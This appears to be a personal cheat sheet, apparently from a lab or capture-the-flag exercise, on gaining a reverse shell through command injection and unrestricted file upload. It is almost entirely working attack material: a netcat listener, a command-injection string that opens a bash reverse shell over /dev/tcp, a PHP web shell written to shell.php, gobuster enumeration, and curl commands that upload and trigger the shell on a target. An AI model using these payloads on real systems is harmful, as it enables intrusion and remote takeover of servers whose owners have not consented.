Reverse Shell

The web is vulnerable to command injection.

  1. Set Listener

    nc -lvnp PORT
    
  2. Set Payload

    127.0.0.1; bash -c 'bash -i >& /dev/tcp/<IP-Listener>/<PORT-Listener> 0>&1'
    

The web unrestricted file upload

  1. Set Listener

    nc -lvnp PORT
    
  2. Create a Script and upload

echo "<?php exec(\\"bash -c 'bash -i >& /dev/tcp/<IP-Listener>/<PORT-Listener> 0>&1'\\"); ?>" > shell.php
  1. Directory Enumeration

    gobuster dir -u http://<IP-Victima>:<PORT-Victima> -w /usr/share/wordlists/dirb/common.txt -b -s 200,301
    
  2. Upload file

    1. Check sintax

      $ curl -s http://<IP-Victim>:<PORT-Victim> | grep -C 5 "form"
      

      image.png

      Watch parameters and analyze:

      “<form action=?”,“input Type=?”,”name=?”,”type=”submit” value=”?”>

    2. Upload file

      First line confirms Success.

       curl -X POST -F "[email protected]" -F "submit=Upload Your CV" <http://10.80.177.105:8082/index.php>
      

      image.png

  3. Activate/Execute

    curl http://<IP-Victim>:<PORT-Victim>/<DirectoryEnumertion>/<ScriptName.php>
    

    Got connect on listener

    image.png